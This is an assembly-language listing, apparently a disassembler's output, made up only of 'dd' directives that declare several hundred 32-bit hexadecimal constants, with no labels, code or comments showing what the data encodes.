dd 0E0F0247h, 0E366629h, 80E82220h, 270063DEh, 98DC775Ah
dd 0EE1AFDD6h, 687516h, 6D269BD9h, 70C5BA4Ah, 12D60100h
dd 54630246h, 3009ECDFh, 0DA388D3Ch, 0B300220Ch, 345625B6h
dd 1FA270D9h, 801B084Dh, 0B804419Bh, 492C01BAh, 810CBDE6h
dd 0E7388Bh, 862F4C8Dh, 0E5B33213h, 8FB1A61Fh, 438E9846h
dd 8D61708h, 0D48E005Ch, 6C2C83Eh, 229AE60Ch, 3CA7F0DBh
dd 50602B24h, 0D4CFD028h, 3A705B03h, 0E0EDF395h, 1C9BBD5Ah
dd 5E8CFE37h, 0B9D59843h, 73079ACEh, 0AE8A3CFCh, 355CF650h
dd 62CA00D8h, 0A40CD766h, 0BB077F69h, 0F74A5668h, 4053F610h
dd 1B5A1BA9h, 908348E4h, 0ED52B7D0h, 2C5838h, 0F38B6B1Ah
dd 686DD2h, 0F0BE640Fh, 159F01BBh, 1EC7F39h, 28568252h
dd 0E9805E8Eh, 72C2DE4Eh, 610C6B55h, 0A9E277A4h, 0BD4C0047h
dd 84AEABF3h, 0E6004119h, 0D8774EF9h, 5C7F2A20h, 0E703F866h
dd 0B06CBED7h, 0EDD1DC83h, 842CF8DDh, 0F421D460h, 0E26758DBh
dd 1ECE261h, 17A9FC88h, 0E0C6223Eh, 2503F4B8h, 0F0B4E79Bh
dd 0CE15C0A5h, 5655013Ch, 72892F45h, 0B40E7061h, 110A5F01h
dd 0ABC8F929h, 4EF045C9h, 0C174AFh, 74C0CA13h, 600357ADh
dd 0EAC8A909h, 9991805Bh, 1972F133h, 491135F3h, 75B0180Dh
dd 0CC0234Dh, 612908h, 71DCC19Eh, 0B3BD14Fh, 80CA3B90h
dd 8AA4DF0Fh, 0AD089Dh, 0FBE0B9C0h, 6FCDD732h, 583D68C6h
dd 38535240h, 0EECEDFB1h, 0AF6C10h, 669D2D27h, 0EFE694C4h
dd 8F0A193Bh, 4C7389BFh, 0C72531DEh, 0F6D8A3F0h, 0EE0010ACh
dd 7E8574EAh, 1DC6530Ch, 1846B303h, 630931D6h, 316C651Fh
dd 6F11E9C0h, 139579E5h, 0CA71A2h, 0DF1B99EDh, 9A01812Eh
dd 8789E3ACh, 0D880652Bh, 0D7C41079h, 12015D7Ah, 0BCB1C0D8h
dd 8883DEF5h, 8A877CBh, 4EC51000h, 57163E0Dh, 90853AB9h
dd 273FA70Ch, 0B00E602h, 2FCEA3C3h, 13DC35h, 0DE866165h
dd 826E89F6h, 0E73CCF00h, 1685B6A4h, 182C0047h, 2BB106E5h
dd 7D00D8B2h, 1BD92634h, 0E85C38h, 18D4F5A3h, 0AFE3C491h
dd 3026690h, 0A5F7E406h, 0A423E156h, 951CDCh, 92548C78h
dd 164AA8F9h, 67074201h, 0D1ECA3EFh, 0B7FDD8h, 55C27705h
dd 0ADC1297Ch, 0F6DF7200h, 0A90F9219h, 14E10065h, 5453ED4Bh
dd 83F82095h, 7E97BD00h, 7A011233h, 6FE800B2h, 0CB1F4ED2h
dd 190C164Ch, 202F48E9h, 0FE840024h, 13CE4718h, 890CE12Eh
dd 90575303h, 7193767h, 750BC008h, 3D0031EDh, 0C64DC9Eh
dd 98AADA38h, 0F7A0CEAh, 42919A08h, 0FF594816h, 32DB3A00h
dd 3AE987Ch, 0A2E1FA7h, 68011218h, 64CB6514h, 56C8BB91h
dd 0A3414178h, 1FFC0440h, 0C03879CFh, 1E8B29A0h, 1DE6A7DDh
dd 8FBC5301h, 0C5F1EC03h, 0C6B9309Eh, 10E1808Ah, 0C44CD41Fh
dd 0CA1ACD1Fh, 52343618h, 0AE04C66h, 10C040DFh, 71FE0CB4h
dd 1C4A2B1h, 8B448DC0h, 54FD9B20h, 424D0C57h, 0B71D104Fh
dd 0BE18A98Ah, 9115B6A1h, 0B394100Ch, 0BC24B58Ah, 99548477h
dd 24AB240Ch, 421037BAh, 819D44E2h, 0B45D2186h, 213CED15h
dd 24E59551h, 0CB2D814h, 24380915h, 84993FE2h, 4E0C529Dh
dd 35A118A2h, 1144B213h, 42620C85h, 51311046h, 65A8218Ah
dd 0FC244A55h, 19B96684h, 878E567h, 41C68AA8h, 0CC76080Ch
dd 0FB40EA44h, 0DEB96A70h, 0B8EE24h, 0E4432B80h, 0A1E2C5h
dd 766D719h, 315E4D9Ch, 0DB0F6200h, 93A73D6Dh, 3ECB39C5h
dd 7043D602h, 0E04C06DFh, 0C8A01175h, 54449677h, 34271BC2h
dd 0B6F01812h, 0C53AF8A8h, 7E2C72C1h, 820AFF83h, 7A3B5026h
dd 0AA80AF04h, 4C1FE1A4h, 0EC89506Fh, 0FE689F3Bh, 0CA181900h
dd 0AAEDB758h, 0F0DC81C9h, 1CA530B8h, 0BC2BF463h, 0BBC57681h
dd 22C75840h, 0ADFC0191h, 8FBE0907h, 92508072h, 7C06E4DDh
dd 0FC6F30FFh, 0EEF57E59h, 1686E4Dh, 0C32F0DEFh, 0B6D066E4h
dd 0C8265280h, 0C06383Ch, 507007BEh, 0B9F0E801h, 7B735F6Ch
dd 0F5921450h, 0B2060AE6h, 3470E5h, 2AAE220Bh, 0D60F38C7h
dd 0E4AAA7C3h, 78D09619h, 0A9BBD5h, 8942BE54h, 36538BF4h
dd 0E9240D00h, 0B43C4C92h, 85AA06E6h, 0B98D59AFh, 0FEC36A20h
dd 0C2CAB8DBh, 0AEC0CC98h, 0BAF61040h, 0ABDD1B26h, 6870D21Dh
dd 1C9B636h, 8D1D44E4h, 8614C5D1h, 0EDD20A18h, 8FA930D1h
dd 21667D80h, 85B09C85h, 406CF04Fh, 74E7A1C8h, 8D1E3A28h
dd 480D41Eh, 894AAF84h, 0C95F2CBEh, 9E921C2Ch, 1167188Fh
dd 0B9503EEAh, 17188EF4h, 84880E22h, 77F87607h, 60ABE8F6h
dd 0B7A61925h, 0CD14D2A3h, 4DB7EDA9h, 3E092240h, 0B216AAA6h
dd 31140170h, 0D171568Fh, 0C5EED194h, 9E3194C5h, 107EA084h
dd 7AA109DDh, 40055B0h, 327D3F9h, 4FB8CF03h, 0BE01F87h
dd 4D19F7A8h, 519D1C86h, 0C17C8048h, 64840D97h, 1D4CF020h
dd 0F2FABC6h, 8AA6111Ch, 20A11862h, 92B46417h, 48B9D524h
dd 4FA9E805h, 8DD7B881h, 61CA8448h, 0F6F5409Bh, 0D8A2D4CCh
dd 0BBBED900h, 0D534807Ch, 90757BC2h, 95AD164Ch, 0F3E8000Eh
dd 6EE5B9B4h, 60805551h, 0BFFA1DFCh, 328EC58h, 618389A9h
dd 0ED2C9862h, 13CC039Fh, 9384E8CEh, 1190A0F0h, 67A77601h
dd 39615FE9h, 0B2858C4h, 9F9EE514h, 0BE751F80h, 5B0F2053h
dd 437B2D57h, 9BA53786h, 728ED8CAh, 65170EA7h, 0FD80A9EBh
dd 5962C3C5h, 0E73F4D01h, 8FF0DA2Bh, 0A4287081h, 4A1203D0h
dd 58760830h, 0EC415134h, 5010167Ah, 75009D32h, 5655BCCEh
dd 1B0CC2C5h, 301C23BDh, 294B0010h, 0EA47E70Ch, 5418347Fh
dd 0B799CA59h, 0B482010Eh, 1E2FE41Ah, 78E6F0D3h, 36D00718h
dd 0E8522640h, 0DA53006Dh, 4A291B30h, 0AB39ACFAh, 0A77783DCh
dd 0A66CE6D6h, 3E110051h, 33614A51h, 0A6508C3Ah, 0F90895A0h
dd 99089Bh, 0BFA70FDh, 4A01C57Ah, 0AEF631F5h, 0D8C0252Fh
dd 0EA9E00E6h, 1153D3A2h, 8A064CACh, 2F50A167h, 2C170C70h
dd 0FA17C07h, 6FD1A00Ch, 3C20F87Eh, 88049724h, 0AAFD1678h
dd 787912C6h, 15CBE8A6h
dd 4889760Fh, 0ADF43900h, 956120A3h, 0AEE6D700h, 0FCEA78A8h
dd 41CF03F6h, 0D975CE07h, 9F55F000h, 8D437CECh, 0EC7003Dh
dd 1B612C93h, 6E52E658h, 0A1F80084h, 0C1EC3702h, 0D5860287h
dd 2B07D377h, 0CB5EECA1h, 307ED3F6h, 0B17A8237h, 865740A8h
dd 0E9C0D7E7h, 0BC7B0FC9h, 102767BFh, 55ED92D5h, 987AF880h
dd 0A3033A22h, 0FB8C7297h, 3D50D075h, 0D220C059h, 213FE1FEh
dd 964884A8h, 503E1503h, 117D1E2Dh, 6761831h, 3865BE1Bh
dd 6BD10468h, 884C2DC7h, 6144C934h, 0F4DD0029h, 64878A1Bh
dd 0D1C0205Ch, 0C2BD9205h, 24EBE240h, 308AAC6Ah, 12638F41h
dd 8A82328h, 8E9F4B40h, 0FB68F810h, 0FE18CE80h, 1570892Bh
dd 0BEF1C207h, 0F386C1D9h, 48CB28D6h, 0A24D00E0h, 0D66F1C8Dh
dd 27007F28h, 18D94325h, 0E0C48EB0h, 824E00E6h, 142073C7h
dd 38CA99A3h, 518004ADh, 0F8770C7Dh, 9B19C05Dh, 1588220Eh
dd 89EFD600h, 2C188E7Ah, 5638033Ah, 49068C19h, 8D304001h
dd 84B50E7Ch, 1E3290E3h, 0DF6000AAh, 9BF5A0EFh, 3916F13Dh
dd 351D40E8h, 0BFE44B00h, 3091F82Dh, 0FF89A531h, 15007AC8h
dd 6A9B9C34h, 0F0B3F2h, 0D9FBBC58h, 1F795635h, 0E098B0CEh
dd 0E4D6BF24h, 2C8D0046h, 37BD4719h, 743A209Bh, 0C8C0F8D3h
dd 0D6EE590Fh, 956A1890h, 0F3BD51AFh, 3DA15A01h, 0DB47158Dh
dd 1049C62Fh, 972D5900h, 0ED10EF32h, 0B9607CFh, 0F0D0464Ah
dd 1417C853h, 0C67DF50Fh, 807CCED8h, 8168F62Dh, 0F71600E1h
dd 0C8A50C9Fh, 0BB0066FDh, 803BB392h, 35A3FD1h, 57DA7170h
dd 95E089E3h, 0A307D994h, 25EA56BDh, 7AEC5D30h, 472E006Dh
dd 16366E67h, 0F23B382Fh, 0A0F180C0h, 72D6287Ch, 0C67EB0h
dd 409B150Ch, 0F05CF9B7h, 3B0254F0h, 0AE070330h, 0E4FCE058h
dd 176E02B0h, 0A121D247h, 0DA724055h, 3B9B00D9h, 0A7DD1228h
dd 0CC076620h, 0AF9475Fh, 5A969170h, 14E24CECh, 0F75CEA00h
dd 0B7E69CCAh, 11005090h, 0C7068AC5h, 0E2B0A4CEh, 20AE00F8h
dd 5F94DB6Bh, 2500C2E6h, 0A86AE5F4h, 0E858A69Bh, 12F897h
dd 0D02FD286h, 0AA524AB0h, 56B75400h, 9FE4FA7Bh, 0F737028Fh
dd 43497CEAh, 42F40EC0h, 0C2AC605Ah, 41262Eh, 0A8744011h
dd 0DF005993h, 9408310Dh, 0F49D514h, 0F55EA0A4h, 98DE56C0h
dd 78030792h, 0ADB8131h, 0FA4DD9C5h, 6EF560h, 38C2E1EBh
dd 87822071h, 1F79F895h, 0B92E7065h, 61529200h, 0A02A4D02h
dd 0F856DA1Dh, 0F200B2A8h, 9C9AAD43h, 39DE501h, 0E123AA78h
dd 49874EBh, 0D9033B32h, 7FDC4D05h, 2380C48Fh, 8D4970h
dd 6399C54h, 42E22275h, 0FC1F3000h, 19FEA48h, 0BA680078h
dd 17A612D9h, 0D4707753h, 9A5DC407h, 1C5074CEh, 5439D6h
dd 0FF93A3EBh, 5C630C43h, 0BD00B67Bh, 4FC2A73Ah, 2CE2CED6h
dd 0B89080h, 8DC62B40h, 0E0019F62h, 64B06016h, 0C0DFF169h
dd 0EC73C79h, 7F38DD68h, 5BD5AA60h, 9CF84CA8h, 0E21F25ECh
dd 5840C7B9h, 0F2FC0D95h, 0CBDF0079h, 0BBDEF9AFh, 7D0728CAh
dd 6F82B76Ah, 0C023F7D3h, 0A9426Ch, 329FE1AFh, 0FA44F153h
dd 17268E09h, 0C56F8063h, 855941h, 0F7136997h, 8D5CD979h
dd 680D1F01h, 0B633EC8Fh, 0B9E84B71h, 0CDDC00B3h, 207073F0h
dd 0E5B03905h, 0E298FA0Fh, 5EE1801Ch, 1E45DD04h, 3A9C94h
dd 1FC9E903h, 403B984Fh, 0DBEF8F79h, 3B08C2C3h, 0B3AC8052h
dd 0B1AF6C6h, 0A55E5770h, 6E8448D6h, 0AE807D97h, 5D3229h
dd 0EFC09CF0h, 436B42AAh, 944439h, 0A16E6199h, 0EA3B221Dh
dd 4FE0019h, 3589A2F1h, 9800A9EEh, 41CE6564h, 0D2B77Ah
dd 0E227CD88h, 0A4059D8Dh, 12BBE301h, 1F44CEECh, 0E0CE7E21h
dd 0E3B6026h, 78B1DFB7h, 5D9FB660h, 0A2030A99h, 0D7B572FEh
dd 0C883944Eh, 0AF8DB08Bh, 0ED73005Fh, 6A0F1FF6h, 0A101082Bh
dd 0C916B2DEh, 0DDE4B57Fh, 1BB000C7h, 930C2FE8h, 38005BD8h
dd 7228D5CEh, 1C661374h, 1CCD36ADh, 9332C0B5h, 0E2DB01D3h
dd 0E139C80Fh, 0ADAC00C5h, 329383Dh, 0C4BA4695h, 40C82191h
dd 0BB0B6DBCh, 86DAC5h, 0C912894Dh, 5A8E0065h, 0E6AE818h
dd 0CA00284Bh, 9E6BABD8h, 5E67D484h, 5616A051h, 0D2073A00h
dd 0DE9591A0h, 1DD53BDBh, 7AF10F80h, 414B3CBBh, 0DEFB887Ah
dd 0B8C0C860h, 0E982E100h, 46D05005h, 0F58D000Dh, 3A5946Ch
dd 0A91C93BCh, 81C52ECBh, 0BF1DAA47h, 0E68C5500h, 6EA729h
dd 0D901A304h, 4B061B34h, 23FAC000h, 0FB530EAFh, 641A4C6Dh
dd 0A778460Fh, 0C7840CE0h, 7500D7A8h, 30E0B388h, 0E8DD93D3h
dd 2A720036h, 5F34D2Fh, 0C801C20Ah, 90AA57D4h, 4880274Eh
dd 95327D94h, 0F65C39C9h, 4F1E72A8h, 0BD40EBEDh, 5790941h
dd 523C00B0h, 0D1DC6AE0h, 37025D3Eh, 30EB97EDh, 0C7C07746h
dd 4805276Fh, 48D050Ch, 0AA92D000h, 26BBF958h, 40A426h
dd 0C61FFA3h, 0CA00FD5Bh, 5CB990A8h, 3E697FF8h, 20042D3h
dd 80B8DDA2h, 5807E481h, 0D4DC8CBAh, 0D7E5BD70h, 0DB7413h
dd 4EEE19B1h, 14C6CB65h, 0D6000E73h, 73375F7Bh, 9CF725h
dd 0CD029E3Bh, 97899AE8h, 0BE20F400h, 7607CECBh, 0C5E90008h
dd 0F0F72D63h, 0A8004A80h, 0C2B921FBh, 98FFED04h, 7DBB0016h
dd 0A976C0Dh, 890A2C93h, 94CFCD8Bh, 58DBCE00h, 733275Ah
dd 88A32008h, 89E80212h, 0F5B05340h, 53070B00h, 31E38A5Bh
dd 0BAD81CCBh, 0D5F441D2h, 0DC9E5665h, 0BB7B2BEFh, 283E900h
dd 0C6CC88F2h, 98C4583Eh, 9B014E58h, 104DD99Eh, 7A408089h
dd 1D64AA2Dh, 42713A8Bh, 0BD1F5EB8h, 198A40A6h, 0BAB6867Fh
dd 34ADAA00h, 3C7B82CDh, 9978012Ah, 0E07E25BFh, 75F52058h
dd 59180600h, 67DC08DBh, 45460797h, 0D350FB74h, 3888EFE5h
dd 6200E379h, 0F8B26356h, 1720A70h, 0DF75E6C2h, 87764568h
dd 20396119h, 1E8B9970h, 80BC03EAh, 0F0D8F40Ah, 0B6FC4ED0h
dd 0B744BD00h, 8DC07C19h, 45CC0028h, 3739634Bh, 8200AC0Eh
dd 568EC8B2h, 0F54A068h, 0FF5D291Fh, 6804D20h, 6301F0E1h
dd 9B7D412Bh, 78D8F307h, 75840F97h, 0CF40342Eh, 705E54C0h
dd 0F8071B24h, 0E7803501h, 3AD8CBD1h, 7BBA00D5h, 0B0E58422h
dd 0FD000A2Fh, 172D40E6h, 5BD356h, 6475BC5Eh, 0A9AE0487h
dd 0E62E8A00h, 0F256B993h, 99B0173Dh, 0B13800D1h, 3214E3E9h
dd 0A9FEFB00h, 0F5072572h, 0DC4700ABh, 0B101453Bh, 59056A67h
dd 0E79D09E9h, 6360BE18h, 0B643009Ah, 0B808111Fh, 4C1D34AEh
dd 0D103408Ch, 0C0EC8B52h, 1628F02Bh, 0B0A7D2Ah, 64A0BEECh
dd 5691EA52h, 13A4E357h, 0C004F11h, 389A3FABh, 8F4300DDh
dd 0D1BB7B33h, 0C905F862h, 87773155h, 3E382C81h, 0A8ECE0h
dd 1BE25F37h, 9B93C85Ch, 0AC0148F0h, 0CEB0C244h, 30A85031h
dd 0A1020229h, 98E12919h, 85E888E3h, 26ECEDD0h, 0B04EFE07h
dd 52B00835h, 91E65Ch, 0F63FCE18h, 6458E58Fh, 788E2B05h
dd 0CC80024Ch, 0F3D906Ah, 484A6095h, 0FE213B00h, 2A12D461h
dd 0BC5E1ADCh, 826ECEC3h, 9474B8A9h, 1D898C9h, 0D03DB032h
dd 60722DFFh, 3909341Ch, 21919C3Bh, 82955168h, 6185E0E8h
dd 0A68471FCh, 196860A9h, 1B580E00h, 21D01856h, 0FC66ECBCh
dd 21A1621Dh, 1C805BE0h, 0F57DEEAh, 347E7C00h, 0E04382BAh
dd 1610A0B7h, 2CA9709Bh, 1D718E33h, 0A76B0393h, 41C911ECh
dd 0B6788F78h, 80F2871Bh, 54D02E45h, 1AD7BEh, 2AD22C28h
dd 705797E5h, 20ABEE0Fh
dd 0AF84C34Ch, 0D220FF30h, 3A9FD9DFh, 223CBBCFh, 97AD6C01h
dd 0D042E4D0h, 5530307Ah, 0C8572934h, 0BF0200BAh, 0EFEEA81Fh
dd 2938E884h, 0F8F50234h, 0C0AE30ECh, 2EB965ACh, 0EFFED9h
dd 0C83F2EF1h, 7901754Bh, 0B69C5676h, 34C852FBh, 0B8DC00EDh
dd 80D348FAh, 10007CD8h, 6E05F0C1h, 0FCAA01h, 0FEED4709h
dd 0ED8B415h, 3EEBCE2Eh, 0A365600h, 3EE235h, 0F13BF489h
dd 0F84CB961h, 96FA6E00h, 42432037h, 0BFDB0E82h, 2900D2F3h
dd 90D514F6h, 779C1201h, 0DAC0E4F1h, 2D944FCh, 8BB34C99h
dd 3EC05058h, 3E2CCE1Ah, 2303C452h, 0F860E3CDh, 1DFB7F73h
dd 0C0374607h, 942A802Ch, 363CB5F3h, 78E8DB81h, 0CF704703h
dd 0B7A050FCh, 3032CAFh, 38094521h, 63490073h, 0C0A84928h
dd 2D24A97Bh, 0D90131C6h, 84556779h, 0BC765983h, 0A800B636h
dd 0DD2F4FFFh, 1C667465h, 0C799E704h, 0B03E6913h, 61A68F07h
dd 0EE736301h, 9E7FD290h, 601A1720h, 0B38640B8h, 0B590055Dh
dd 7E6FDE72h, 3E1B2059h, 70A97AE6h, 210D0A66h, 40B0284Ch
dd 0B6467C5Eh, 0D0414900h, 90E9AE66h, 0A6210FC0h, 61497AFDh
dd 29016A87h, 6C1D8681h, 0E2C440C4h, 0F1C723A5h, 4020912Bh
dd 37A390h, 0A48F3DC6h, 0D3C45D13h, 8644A000h, 0E67F3112h
dd 0E2A77B6h, 271FA21Bh, 0A34AC7h, 0BEC212E1h, 3CACDBA0h
dd 0A6D13Bh, 0A2492CA7h, 0FE6348h, 8BAE6C81h, 0BAD219B2h
dd 87C06607h, 86909714h, 0EB0EB7h, 2F30CA4Bh, 0AD4D4F8Eh
dd 5EEE132Dh, 0B2910069h, 74153C6Dh, 2FF27815h, 18B04F0h
dd 0C28340CEh, 0EDD1007Eh, 0BD6462F1h, 0FF01056Ah, 8ED2C475h
dd 4820E75Eh, 73DE2876h, 2C170084h, 4A8F4BCCh, 1800F30Dh
dd 9CF96415h, 0E93811h, 672BC246h, 8563DFAEh, 5C0D5703h
dd 0EC81FAF0h, 0E3167EC2h, 5F7680E5h, 1090E3h, 4140DF87h
dd 502E93FEh, 6535EB0Eh, 323AC00Eh, 939198B5h, 2F803C24h
dd 231879E7h, 0DB00AC7Eh, 8F0D2062h, 0CCEEE9h, 914E11D2h
dd 0A62BF606h, 5F0ED3F2h, 0E07F62B8h, 59DFE0FEh, 3F867055h
dd 0F9F453h, 89F8EE6Fh, 0F1E12EF6h, 3A0C3C00h, 0B5DD9511h
dd 58A0080h, 9FD145A7h, 61009A8Ch, 5C4BD2DAh, 7DB36A0Eh
dd 3A4601B1h, 0C40CF33Fh, 2FAC408Fh, 0E31231CBh, 0DC0E992Ah
dd 7EA4A035h, 0C27F24h, 552730E7h, 2319EE1Fh, 8ADB7600h
dd 5DFC9FA7h, 0E84800BEh, 3315A2CEh, 58242D6Eh, 0C3408C35h
dd 70753EDEh, 0EAD9004Ah, 34F79005h, 8F048B0h, 1A795477h
dd 0AE016000h, 37E5FAFFh, 0ED1E0911h, 90002AA6h, 2E077B4Eh
dd 3A70C948h, 0DE481361h, 55916609h, 68159680h, 7A2CBB06h
dd 0D201D91Ch, 95BFA489h, 0EC725ECCh, 5304006Bh, 30AF936h
dd 5F129A0Fh, 8100D965h, 91CEF763h, 36080799h, 20A0592Ch
dd 2680DEAEh, 4B8BE80Eh, 380B8050h, 0C0F4F04Ch, 49E5A310h
dd 1700E109h, 39FD823h, 34EB4275h, 78F752h, 0A95B580h
dd 0B7FA1BD7h, 0AFB49600h, 0F61A10DEh, 3A0300CDh, 516EAC40h
dd 0E0002C60h, 0F2F54AE9h, 305B91h, 4FBB23D4h, 0BEC5310Bh
dd 0D259A60Bh, 96A2006Dh, 0E226E1B1h, 0C8F4CDh, 0E4C105ABh
dd 50C4BD65h, 2B6E5C00h, 0B64E73E8h, 3B7CB4h, 0D8A7EA7Dh
dd 0E083FB71h, 645B2C13h, 0F0915800h, 698B022h, 7E93517h
dd 330048F9h, 0D9B085Eh, 3DED6A1h, 0B5E354AEh, 0E5F99C13h
dd 0CA91F44Ch, 1A406D00h, 9E9A5D64h, 0FD507AAh, 0D0A4C4A1h
dd 0F1A3A572h, 0AF305402h, 0C0CFD9B0h, 75D307h, 72AA7FE3h
dd 511C588Fh, 286CE9CAh, 3270C2C7h, 3F3DC76h, 0A3DA7D04h
dd 0AF88A855h, 0D118674Fh, 6DF06FFAh, 582E2D9h, 60F201D6h
dd 81F8000Dh, 23B41E7Dh, 0F0CE2B07h, 0E0CF45BAh, 2AD33980h
dd 964800E8h, 0E6B5F8B8h, 0F7A092Eh, 95BFCD3Dh, 0C2707742h
dd 0A0CCD8F3h, 8F949DDCh, 0BCC800E3h, 0E1F56E40h, 0CD0014F7h
dd 0AC0FE2EFh, 0ADE08A2h, 3D862F20h, 18820CE8h, 0C24C4D51h
dd 56F90092h, 0E3637ADEh, 0DD0800F0h, 6D47EE1Bh, 0D3026175h
dd 369609F5h, 90963Bh, 85A1A7D5h, 0B6113137h, 5A5F24h
dd 0B04C6186h, 25DF0050h, 24F9DB69h, 8B29F195h, 6B0AD094h
dd 0A703F8F3h, 0E7B2F987h, 8BC57EB3h, 0A995D886h, 1B6A1E54h
dd 0CE705DBh, 0FDDB8084h, 9448B5E8h, 98B2829Ch, 1F5044D7h
dd 8906F1DAh, 4000781Eh, 1CF09DFCh, 5AA61812h, 0DD323C00h
dd 7A91F8h, 124283EDh, 1459B23Ah, 2E2C3C00h, 9E1D3927h
dd 0D9712B64h, 1BB080E8h, 6B02A1FAh, 3E08CA00h, 0CD9BF16Dh
dd 10150127h, 876226C0h, 48C8C04Bh, 1FFF0F38h, 9C40290h
dd 88809D40h, 5B1F97Ah, 99ABDB55h, 0D7AC2C74h, 7002A52Ah
dd 90371524h, 8D0D7E00h, 4D278A9h, 4F4FD16h, 0B98C8087h
dd 0EF045348h, 7734D3A7h, 0C256BC90h, 0D2C4A097h, 3E200124h
dd 39D5D771h, 2642554h, 0A8417580h, 2C021E6h, 0C880FE1Ch
dd 0ACDB8468h, 0DD805B50h, 0AD00C475h, 6F9034D9h, 563C86h
dd 0C3828BFDh, 1594B397h, 41D00A03h, 0F80FC4E6h, 3BCD49A9h
dd 0FB8610D3h, 699AB58Ah, 0A0E4CF1Dh, 6B303F62h, 0A9285394h
dd 92019849h, 967C29A1h, 175731D3h, 70425088h, 1E0239E7h
dd 1BF74AAh, 6F84F777h, 4C70C04Eh, 8F00A32Eh, 9F4B349Dh
dd 0C76532h, 6DD6EC97h, 5E596BEh, 8CBD5904h, 3C922314h
dd 36F06158h, 24083261h, 7F490096h, 0FC8A7711h, 753D0460h
dd 0AEEC0064h, 0FB51913Dh, 0D3020040h, 4434F482h, 693FBA29h
dd 7BC18254h, 7F0EB4F3h, 0F2C44881h, 0D11FE482h, 0C75FFD05h
dd 82C00432h, 0AE8168h, 0A75AD607h, 19C67980h, 0A0D21100h
dd 0C84CF4D3h, 599A1E95h, 23E480E0h, 0AEC10CB7h, 0E1FE3Ah
dd 1B3FF8AFh, 62E443Ch, 9EA9C9E9h, 0F21C20C2h, 350032CCh
dd 0B79ADD61h, 937B1845h, 68373038h, 3142071Dh, 5A3D0C5h
dd 0C28CB680h, 3B4C00E6h, 618BE36h, 10C31947h, 90FBD3ECh
dd 757E38h, 0C3D2E13Fh, 82791A80h, 51B818FAh, 57949DA0h
dd 0BD5C0500h, 0F4304E4Bh, 93040F89h, 0F920880Bh, 0B64810EEh
dd 0B924070Eh, 52418039h, 8E62D0h, 0F5A81B4Bh, 67451937h
dd 22A0284Fh, 365B03EAh, 3C5F18EDh, 8A5AC000h, 3D55B4DAh
dd 21707Ah, 8D8C8F44h, 3A5CBEA5h, 0CC3BC0Eh, 22E5416Ah
dd 9C500638h, 0A0FB8AF2h, 545941FAh, 6CE98A2h, 0A68C8861h
dd 0C905B03Dh, 521BCCBCh, 0FD7DE802h, 3CA880FFh, 0F84C7C15h
dd 23C200F8h, 74D59D01h, 0D100A202h, 0F13F0620h, 0F717A8h
dd 925C732Eh, 7B079B5Eh, 630017B0h, 467CA381h, 8A13AEh
dd 4B227E76h, 82BAABF0h, 418037Ch, 11E98633h, 44BD00E8h
dd 5ED52110h, 0C7004F3Fh, 0CD1F8AE4h, 0D2DD9Dh, 0A6633915h
dd 7F055178h, 0D0AC2551h, 0E665F866h, 1AE5450h, 0AB445547h
dd 0FB208035h, 9D8860Ah, 0B5D303C5h, 49FCB038h, 7B6020E0h
dd 0F90A900h, 0E7989F5Ah, 44D500E2h, 0E163FC14h, 151834FAh
dd 0A499AEBDh, 0DB8D01E6h, 2A5DB37Ah, 80DAD4F6h, 8563F8A0h
dd 74A59C02h, 0A53FA39Ah, 0BC00A0A0h, 0BE2BABECh, 64FA497Eh
dd 0EB3AB302h, 99402F84h, 6A4986B6h, 0CF851614h, 6E4D1001h
dd 0E0575B9Ch, 66A42D0h, 201D00E3h, 0B2750715h, 6D138490h
dd 0C70782A9h, 0A8DC280Eh, 87C80212h, 695C5A1Ch, 0FF519048h
dd 2CC9A360h, 90DAB95Eh, 6CE800DCh, 647FFB9Bh, 1B07FF80h
dd 76E42E1Fh, 84D024AFh
dd 4F943C82h, 0CD21036Ch, 10051FF6h, 0A74DDB81h, 7974F855h
dd 0ECD04054h, 0A2DC7354h, 8A627A24h, 0C3FA7900h, 77EA9E5h
dd 0E42CA791h, 9F517C39h, 0C0FB32B8h, 80055E1Eh, 9287F8E1h
dd 8CCF980h, 48DF7B30h, 0FAA09C3Ah, 6E0C314Ch, 0F94DB4F0h
dd 0B6C72E96h, 4E1602EAh, 0D0454968h, 9AE01E00h, 1331C4FCh
dd 6A978h, 7039955Ch, 1B04838Ch, 0A824B58Fh, 0BFD9CC0h
dd 1D17097Ch, 0D102BEA2h, 0B89E09F3h, 3C54C401h, 0D989EB9Bh
dd 0DF1ECDF0h, 87388078h, 5BA3B875h, 0EA1A1600h, 8FFB1F69h
dd 98417F9Ah, 496B0EA4h, 22E02144h, 0FFD13308h, 6414B701h
dd 52AE53A7h, 0FDC6F981h, 0C8292E76h, 790FFBD5h, 80425166h
dd 7F50ADCEh, 776045Bh, 0C8BE370Dh, 3CF844E0h, 0AA56FE05h
dd 0D18019E3h, 7E6D03C2h, 8E571D1Ah, 12E801A2h, 80974A1Eh
dd 63C3DA2Eh, 60811136h, 0D838E9F5h, 0F7000D42h, 4FB23B09h
dd 3401B16h, 0F6EA4C36h, 88E01A0Ch, 4B0F3834h, 0C0A0D935h
dd 6391B19Fh, 87152h, 4F1EAFA1h, 658D066Bh, 8C860301h
dd 0F8E280E9h, 114D7D0h, 43933B02h, 20626BF0h, 5200BB8Ch
dd 0FD2CD013h, 13CD9FB4h, 40D32911h, 6E4C37C8h, 0A30F30E4h
dd 609CF1BDh, 0FBEE1643h, 5D1202A2h, 0C75197CEh, 0C56F481h
dd 0B73AE020h, 8033E23Fh, 6AA74E08h, 772D49Bh, 0D026F71Dh
dd 4B614CA8h, 0E8E5FA05h, 7489460Fh, 0F50C30h, 5767FD0Eh
dd 35D52D4Ah, 79734116h, 77D2DD00h, 304794h, 92F6066Dh
dd 75D3EECAh, 56DB8F0Eh, 0A01C53BEh, 4A44466h, 0AC67800h
dd 0DE638D1Dh, 199260h, 8C6FF664h, 1A125CADh, 8C006035h
dd 2C0FC89h, 5D0702E1h, 709A9724h, 9C64D462h, 0B09E8A1Ch
dd 0A7A94486h, 8C1D00B9h, 361BE039h, 2A0059CAh, 0E764FA21h
dd 3D40CDA2h, 0E10FC162h, 0B260C69Bh, 75FD959Fh, 6ECE2CA0h
dd 6A93850Bh, 0B1A10204h, 4A9C8046h, 9E29F78h, 48A9F6F0h
dd 81DF2485h, 82568B80h, 0D0622766h, 0DD5C405Ch, 589E7CF3h
dd 4D700D30h, 0C000E087h, 68F2BC7h, 5136A2Ah, 601E98CBh
dd 0FAB68039h, 0A0971720h, 12690052h, 0FD154454h, 7EE09B72h
dd 2008D613h, 1380C411h, 0B00FEC27h, 0A346C351h, 6F82E8F5h
dd 2CE8A48Eh, 50408D37h, 10A820C8h, 740B4219h, 892C6762h
